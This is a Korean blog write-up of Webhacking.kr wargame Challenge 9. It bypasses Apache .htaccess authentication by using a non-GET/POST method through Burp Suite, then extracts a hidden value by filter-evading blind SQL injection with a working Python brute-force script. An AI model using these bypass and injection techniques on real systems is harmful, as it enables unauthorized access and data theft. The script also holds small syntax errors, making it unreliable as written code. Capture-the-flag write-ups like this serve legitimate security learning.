티스토리 뷰

Wargame/Webhacking.kr

Challenge 9

do9dark 2015. 7. 5. 21:07


문제에 접근하면 아파치 웹 인증을 하게 되고 실패할 경우 위 그림에 인증 뒷부분에 보이는 것처럼 Unauthorized 즉, 권한이 없어서 접근할 수 없다.

아파치 웹 인증은 .htaccess 에서 설정할 수 있고 위 사이트와 같이 특정 디렉터리에 대해 접근에 대한 인증을 사용할 수 있다.


<Limit GET POST>

require valid-user

</Limit>


.htaccess 파일에 내부에 위와 같이 되어 있다면 GET, POST 메소드에 대해서 웹 인증을 거치게 된다. 하지만 GET, POST 외에 다른 메소드나 다른 문자로 요청할 경우 우회해서 접근을 할 수 있다. 이를 막기 위해서는 .htaccess 에서 정의된 메소드 외에는 허용하지 않도록 설정해야 한다.



요청할 때마다 변경하기가 번거롭기 때문에 Burp Suite 기능 중에서 Match and Replace 를 이용하여 자동으로 변경되도록 설정해준다.



메소드를 변경해주면 다음과 같이 웹 인증없이 접근할 수 있다.



접근한 웹페이지를 보면 1,2,3을 선택할 수 있고 Password 값을 입력할 수 있다.

1을 선택


2를 선택


3을 선택


GET 파라미터로 no 값을 전달해주고 1,2,3 값에 따라 표시되는 내용이 다른 것을 알 수 있다.

4, 5와 같이 다른 숫자를 넣을 경우 Password 값 입력만 표시가 되고 0을 입력하면 no 값을 전달하지 않은 형태와 같이 나온다.

첫 부분에서 인증 메시지 중에 sql injection world 라고 되어 있는 것과 3을 선택했을 때 나오는 힌트를 바탕으로 SQL Injection을 시도해볼 수 있다.


no=1의 id=Apple

no=2의 id=Banana

no=3의 id=???????????


UNION, SELECT, =(equal), '(single-quote) 등을 입력할 경우 Access Denied 문구와 함께 필터링되어 있다.

no=3일 때 id 값을 알아내기 위해서 if함수를 이용하였다.


no=if(substr(id,1,1)in(0x41),3,0)

> Secret 표시

no=if(substr(id,1,1)in(0x42),3,0)

> 미표시

참일 경우 Secret 문자가 표시가 되고 거짓일 경우 표시가 되지 않는 점을 이용하였다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
 
session = "0eraj42kqvmjj21ths0gtulfg5"
url = "http://webhacking.kr/challenge/web/web-09/"
password = ""
 
for x in xrange(1,12):
    for y in xrange(32,127):
        headers = {"Cookie" : "PHPSESSID=%s" % session}
        conn = httplib.HTTPConnection("webhacking.kr")
        conn.request("A""/challenge/web/web-09/?no=if(substr(id,"+str(x)+",1)in("+hex(y)+"),3,0)", headers=headers)
        response = conn.getresponse().read()
        print str(x) + ":" + hex(y)
        if response.find("Secret"> 0:
            print "Find: " + chr(y)
            password += chr(y)
            break
conn.close()
print password
cs

ALSRKSWHAQL


password에 입력하면 문제를 풀 수 있다.






'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 14  (0) 2015.07.07
Challenge 13  (0) 2015.07.06
Challenge 12  (0) 2015.07.06
Challenge 11  (0) 2015.07.06
Challenge 10  (0) 2015.07.06
Challenge 8  (0) 2015.07.05
Challenge 7  (0) 2015.07.05
Challenge 6  (0) 2015.06.28
Challenge 5  (0) 2015.06.27
Challenge 4  (0) 2015.06.25
댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
링크
공지사항
Total
Today
Yesterday